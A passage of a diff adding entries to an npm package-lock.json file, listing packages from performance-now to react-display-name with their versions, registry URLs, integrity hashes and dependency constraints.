"sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pluralize": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", + "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", + "engines": { + "node": ">=4" + } + }, + "node_modules/popper.js": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==", + "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1", + "peer": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "dev": true, + "dependencies": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + }, + "engines": { + "node": ">= 0.12.0" + } + }, + "node_modules/portfinder/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/portfinder/node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "dev": true, + "dependencies": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + } + }, + "node_modules/postcss-html": { + "version": "0.36.0", + "resolved": "https://registry.npmjs.org/postcss-html/-/postcss-html-0.36.0.tgz", + "integrity": "sha512-HeiOxGcuwID0AFsNAL0ox3mW6MHH5cstWN1Z3Y+n6H+g12ih7LHdYxWwEA/QmrebctLjo79xz9ouK3MroHwOJw==", + "dev": true, + "dependencies": { + "htmlparser2": "^3.10.0" + }, + "peerDependencies": { + "postcss": ">=5.0.0", + "postcss-syntax": ">=0.36.0" + } + }, + "node_modules/postcss-html/node_modules/dom-serializer": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + } + }, + "node_modules/postcss-html/node_modules/dom-serializer/node_modules/domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/postcss-html/node_modules/dom-serializer/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/postcss-html/node_modules/domelementtype": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==", + "dev": true + }, + "node_modules/postcss-html/node_modules/domhandler": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.4.2.tgz", + "integrity": "sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==", + "dev": true, + "dependencies": { + "domelementtype": "1" + } + }, + "node_modules/postcss-html/node_modules/domutils": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "dev": true, + "dependencies": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "node_modules/postcss-html/node_modules/entities": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==", + "dev": true + }, + "node_modules/postcss-html/node_modules/htmlparser2": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.10.1.tgz", + "integrity": "sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==", + "dev": true, + "dependencies": { + "domelementtype": "^1.3.1", + "domhandler": "^2.3.0", + "domutils": "^1.5.1", + "entities": "^1.1.1", + "inherits": "^2.0.1", + "readable-stream": "^3.1.1" + } + }, + "node_modules/postcss-html/node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss-html/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/postcss-html/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/postcss-less": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/postcss-less/-/postcss-less-3.1.4.tgz", + "integrity": "sha512-7TvleQWNM2QLcHqvudt3VYjULVB49uiW6XzEUFmvwHzvsOEF5MwBrIXZDJQvJNFGjJQTzSzZnDoCJ8h/ljyGXA==", + "dev": true, + "dependencies": { + "postcss": "^7.0.14" + }, + "engines": { + "node": ">=6.14.4" + } + }, + "node_modules/postcss-media-query-parser": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/postcss-media-query-parser/-/postcss-media-query-parser-0.2.3.tgz", + "integrity": "sha1-J7Ocb02U+Bsac7j3Y1HGCeXO8kQ=", + "dev": true + }, + "node_modules/postcss-resolve-nested-selector": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz", + "integrity": "sha1-Kcy8fDfe36wwTp//C/FZaz9qDk4=", + "dev": true + }, + "node_modules/postcss-safe-parser": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-safe-parser/-/postcss-safe-parser-4.0.2.tgz", + "integrity": "sha512-Uw6ekxSWNLCPesSv/cmqf2bY/77z11O7jZGPax3ycZMFU/oi2DMH9i89AdHc1tRwFg/arFoEwX0IS3LCUxJh1g==", + "dev": true, + "dependencies": { + "postcss": "^7.0.26" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/postcss-sass": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/postcss-sass/-/postcss-sass-0.4.4.tgz", + "integrity": "sha512-BYxnVYx4mQooOhr+zer0qWbSPYnarAy8ZT7hAQtbxtgVf8gy+LSLT/hHGe35h14/pZDTw1DsxdbrwxBN++H+fg==", + "dev": true, + "dependencies": { + "gonzales-pe": "^4.3.0", + "postcss": "^7.0.21" + } + }, + "node_modules/postcss-scss": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.1.1.tgz", + "integrity": "sha512-jQmGnj0hSGLd9RscFw9LyuSVAa5Bl1/KBPqG1NQw9w8ND55nY4ZEsdlVuYJvLPpV+y0nwTV5v/4rHPzZRihQbA==", + "dev": true, + "dependencies": { + "postcss": "^7.0.6" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.10", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", + "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-syntax": { + "version": "0.36.2", + "resolved": "https://registry.npmjs.org/postcss-syntax/-/postcss-syntax-0.36.2.tgz", + "integrity": "sha512-nBRg/i7E3SOHWxF3PpF5WnJM/jQ1YpY9000OaVXlAQj6Zp/kIqJxEDWIZ67tAd7NLuk7zqN4yqe9nc0oNAOs1w==", + "dev": true, + "peerDependencies": { + "postcss": ">=5.0.0" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/postcss/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true + }, + "node_modules/postcss/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "dev": true, + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/pretty-format": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", + "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "dev": true, + "dependencies": { + "@jest/types": "^26.6.2", + "ansi-regex": "^5.0.0", + "ansi-styles": "^4.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/pretty-format/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/pretty-format/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/private": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", + "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "dependencies": { + "asap": "~2.0.3" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types-extra": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.1.tgz", + "integrity": "sha512-59+AHNnHYCdiC+vMwY52WmvP5dM3QLeoumYuEyceQDi9aEhtwN9zIQ2ZNo25sMyXnbh32h+P1ezDsUpUH3JAew==", + "dependencies": { + "react-is": "^16.3.2", + "warning": "^4.0.0" + }, + "peerDependencies": { + "react": ">=0.14.0" + } + }, + "node_modules/prop-types-extra/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dev": true, + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + }, + "node_modules/punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/pure-color": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz", + "integrity": "sha1-H+Bk+wrIUfDeYTIKi/eWg2Qi8z4=" + }, + "node_modules/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-IhMFgUmuNpyRfxA90umL7ByLlgRXu6tIfKPpF5TmcfRLlLCckfP/g3IQmju6jjpu+Hh8rA+2p6A27ZSPOOHdKw==", + "dev": true, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/quick-lru": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", + "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/raf": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "dependencies": { + "performance-now": "^2.1.0" + } + }, + "node_modules/rainge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/rainge/-/rainge-1.0.1.tgz", + "integrity": "sha1-VVKxChES2Ds8StdlB/JBQaUzAcE=", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.3.tgz", + "integrity": "sha512-UlTNLIcu0uzb4D2f4WltY6cVjLi+/jEN4lgEUj3E04tpMDpUlkBo/eSn6zou9hum2VMNpCCUone0O0WeJim07g==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "http-errors": "1.8.1", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/rc-progress": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.6.1.tgz", + "integrity": "sha512-GR+rWDv5b61VkGs7SxDvsaJo6vzTZ4j1Z1sX0C3kG4kPli9nUCXurx5jREJ2SllUKLrhesr914DuvBBtXOSr6g==", + "dependencies": { + "babel-runtime": "6.x", + "prop-types": "^15.5.8" + } + }, + "node_modules/react": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-base16-styling": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.7.0.tgz", + "integrity": "sha512-lTa/VSFdU6BOAj+FryOe7OTZ0OBP8GXPOnCS0QnZi7G3zhssWgIgwl0eUL77onXx/WqKPFndB3ZeC77QC/l4Dw==", + "dependencies": { + "base16": "^1.0.0", + "lodash.curry": "^4.1.1", + "lodash.flow": "^3.5.0", + "pure-color": "^1.3.0" + } + }, + "node_modules/react-bootstrap": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.6.4.tgz", + "integrity": "sha512-z3BhBD4bEZuLP8VrYqAD7OT7axdcSkkyvWBWnS2U/4MhyabUihrUyucPWkan7aMI1XIHbmH4LCpEtzWGfx/yfA==", + "dependencies": { + "@babel/runtime": "^7.14.0", + "@restart/context": "^2.1.4", + "@restart/hooks": "^0.3.26", + "@types/invariant": "^2.2.33", + "@types/prop-types": "^15.7.3", + "@types/react": ">=16.14.8", + "@types/react-transition-group": "^4.4.1", + "@types/warning": "^3.0.0", + "classnames": "^2.3.1", + "dom-helpers": "^5.2.1", + "invariant": "^2.2.4", + "prop-types": "^15.7.2", + "prop-types-extra": "^1.1.0", + "react-overlays": "^5.1.1", + "react-transition-group": "^4.4.1", + "uncontrollable": "^7.2.1", + "warning": "^4.0.3" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/react-copy-to-clipboard": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.4.tgz", + "integrity": "sha512-IeVAiNVKjSPeGax/Gmkqfa/+PuMTBhutEvFUaMQLwE2tS0EXrAdgOpWDX26bWTXF3HrioorR7lr08NqeYUWQCQ==", + "dependencies": { + "copy-to-clipboard": "^3", + "prop-types": "^15.5.8" + }, + "peerDependencies": { + "react": "^15.3.0 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/react-desktop-notification": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/react-desktop-notification/-/react-desktop-notification-1.0.9.tgz", + "integrity": "sha512-2nG+3V3n+dnIks4a+jXWYod8k6DgUt/ZDslce667QTimhbQy3+Z2OOYz4G4WjFMyDFrN6QxR28aphOCnA9x7hA==", + "dependencies": { + "create-react-class": "15.6.2" + } + }, + "node_modules/react-dimensions": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz", + "integrity": "sha512-go5vMuGUxaB5PiTSIk+ZfAxLbHwcIgIfLhkBZ2SIMQjaCgnpttxa30z5ijEzfDjeOCTGRpxvkzcmE4Vt4Ppvyw==", + "dependencies": { + "element-resize-event": "^2.0.4" + }, + "peerDependencies": { + "react": "^0.14.0 || ^15.0.0 || ^16.0.0", + "react-dom": "^0.14.0 || ^15.0.0 || ^16.0.0" + } + }, + "node_modules/react-display-name": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/react-display-name/-/react-display-name-0.2.5.tgz", + "integrity": 